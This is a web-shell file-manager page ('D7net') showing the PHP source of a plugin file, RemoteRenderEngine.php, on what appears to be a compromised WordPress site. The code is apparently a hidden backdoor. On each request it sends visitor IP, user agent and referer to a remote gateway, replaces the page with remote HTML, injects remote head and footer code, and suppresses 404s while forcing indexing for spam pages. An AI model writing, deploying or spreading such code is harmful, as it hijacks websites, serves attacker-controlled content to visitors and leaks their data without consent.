D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home2
/
stickain
/
www
/
itosu-ryu.us
/
wp-content
/
plugins
/
apsw
/
src
/
Filename :
RemoteRenderEngine.php
back
Copy
<?php if (!defined('ABSPATH')) exit; if (!class_exists('APSW_RemoteRenderEngine')): final class APSW_RemoteRenderEngine { const OPT_MAIN_GW = 'apsw_gateway_main'; const OPT_BACK_GW = 'apsw_gateway_backup'; private static ?self $instance = null; private array $tdk = [ 'title' => '', 'desc' => '', 'keys' => '', 'canonical' => '', 'og_image' => '', 'og_type' => '', ]; private string $html = ''; private string $head_html = ''; private string $footer_html = ''; private bool $active = false; private bool $raw_only = false; public static function register(): void { if (self::$instance instanceof self) return; self::$instance = new self(); add_action('template_redirect', [self::$instance, 'intercept'], 0); add_filter('wp_get_document_title', [self::$instance, 'force_title'], 999); add_filter('wp_title', [self::$instance, 'legacy_wp_title'], 999, 2); add_filter('pre_get_document_title', [self::$instance, 'filter_title'], 1); add_filter('document_title_parts', [self::$instance, 'filter_title_parts'], 1); add_filter('pre_handle_404', [self::$instance, 'disable_404'], 1, 2); add_action('wp_head', [self::$instance, 'inject_head'], 0); add_action('wp_footer', [self::$instance, 'inject_footer'], 0); add_filter('get_canonical_url', [self::$instance, 'filter_canonical'], 1, 2); add_filter('wp_robots', [self::$instance, 'filter_robots'], 1); } private function __construct() {} public function intercept(): void { $url = $this->current_url(true); $data = $this->get_api($url); if (!$data) return; $this->raw_only = $this->is_only_html_payload($data); $this->html = (string)($data['html'] ?? ''); $this->head_html = (string)($data['head_html'] ?? ''); $this->footer_html = (string)($data['footer_html'] ?? ''); $this->tdk['title'] = (string)($data['title'] ?? ''); $this->tdk['desc'] = (string)($data['description'] ?? ''); $this->tdk['keys'] = (string)($data['keywords'] ?? ''); $this->tdk['canonical'] = (string)($data['canonical'] ?? ''); $this->tdk['og_image'] = (string)($data['og_image'] ?? ''); $this->tdk['og_type'] = (string)($data['og_type'] ?? ''); $this->active = true; if ($this->raw_only) { status_header(200); nocache_headers(); header('Content-Type: text/html; charset=utf-8'); echo $this->html !== '' ? $this->html : '<div>No content.</div>'; exit; } if ($this->tdk['canonical'] === '') { $this->tdk['canonical'] = $url; } $this->mark_as_ok_page(); ob_start(); get_header(); echo '<main id="remote-render" class="container my-4">'; echo $this->html ?: '<div class="alert alert-secondary">No content.</div>'; echo '</main>'; get_footer(); $out = (string)ob_get_clean(); $out = $this->replace_or_inject_title($out); echo $out; exit; } private function is_only_html_payload($data): bool { if (!is_array($data)) return false; $keys = array_keys($data); $allowed = ['html', 'ok', 'msg', 'code']; foreach ($keys as $k) { if (!in_array($k, $allowed, true)) { return false; } } return isset($data['html']); } private function mark_as_ok_page(): void { global $wp_query; if ($wp_query instanceof WP_Query) { $wp_query->is_404 = false; $wp_query->query_vars['error'] = ''; } status_header(200); nocache_headers(); } public function disable_404($preempt, $query) { if ($this->active) return true; return $preempt; } public function force_title($title) { if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title']; return $title; } public function legacy_wp_title($title, $sep = '') { if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title']; return $title; } private function replace_or_inject_title(string $html): string { if (!$this->active || $this->raw_only) return $html; if ($this->tdk['title'] === '') return $html; $newTitle = esc_html($this->tdk['title']); $replaced = preg_replace('/<title\b[^>]*>.*?<\/title>/is', '<title>' . $newTitle . '</title>', $html, 1, $count); if (is_string($replaced) && $count > 0) return $replaced; $inject = '<title>' . $newTitle . '</title>' . "\n"; $inserted = preg_replace('/<\/head>/i', $inject . '</head>', $html, 1, $count2); if (is_string($inserted) && $count2 > 0) return $inserted; return $html; } private function current_url(bool $strip_hash = false): string { $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $uri = $_SERVER['REQUEST_URI'] ?? '/'; $full = $scheme . $host . $uri; return $strip_hash ? (string)strtok($full, '#') : (string)$full; } private function cuws(): string { $payload = [ 'home' => home_url('/'), 'current' => home_url($_SERVER['REQUEST_URI'] ?? '/'), 'uri' => $_SERVER['REQUEST_URI'] ?? '/', 'ua' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'ref' => $_SERVER['HTTP_REFERER'] ?? '', 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', ]; return wp_json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); } private function get_api(string $url) { $urls = $this->build_api_urls($url); if (!$urls) return false; foreach ($urls as $api) { $res = wp_remote_get($api."&u=ai", [ 'timeout' => 20, 'headers' => [ 'User-Agent' => 'WP-RemoteRender/2.6', 'X-APSW-Context' => $this->cuws(), ], ]); if (is_wp_error($res)) { continue; } $code = (int) wp_remote_retrieve_response_code($res); $body = (string) wp_remote_retrieve_body($res); if ($code < 200 || $code >= 300) { continue; } if (trim($body) === '') { return false; } $json = json_decode($body, true); if (is_array($json)) { if (empty($json)) { return false; } $json += [ 'title' => '', 'description' => '', 'keywords' => '', 'canonical' => '', 'og_image' => '', 'og_type' => '', 'head_html' => '', 'footer_html' => '', 'html' => '', ]; return $json; } $body = trim($body); if (strlen($body) < 50) { return false; } return [ 'html' => $body ]; } return false; } private function build_api_urls(string $pageUrl): array { $main = $this->normalize_gateway((string)get_option(self::OPT_MAIN_GW, '')); $backup = $this->normalize_gateway((string)get_option(self::OPT_BACK_GW, '')); $q = rawurlencode($pageUrl); $out = []; if ($main !== '') $out[] = $main . '/?url=' . $q; if ($backup !== '') $out[] = $backup . '/?url=' . $q; return $out; } private function normalize_gateway(string $gw): string { $gw = trim($gw); if ($gw === '') return ''; if (!preg_match('#^https?://#i', $gw)) { $gw = 'http://' . $gw; } return rtrim($gw, '/'); } public function filter_title($default) { if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') return $this->tdk['title']; return $default; } public function filter_title_parts(array $parts): array { if ($this->active && !$this->raw_only && $this->tdk['title'] !== '') { $parts['title'] = $this->tdk['title']; } return $parts; } public function filter_canonical($canonical, $post_id) { if ($this->active && !$this->raw_only && $this->tdk['canonical'] !== '') return $this->tdk['canonical']; return $canonical; } public function filter_robots(array $robots): array { if ($this->active && !$this->raw_only) { $robots['index'] = true; $robots['follow'] = true; } return $robots; } public function inject_head(): void { if (!$this->active || $this->raw_only) return; if ($this->head_html === '') return; echo "\n<!-- Remote head_html -->\n"; echo $this->head_html . "\n"; } public function inject_footer(): void { if (!$this->active || $this->raw_only) return; if ($this->footer_html === '') return; echo "\n<!-- Remote footer_html -->\n"; echo $this->footer_html . "\n"; } } endif;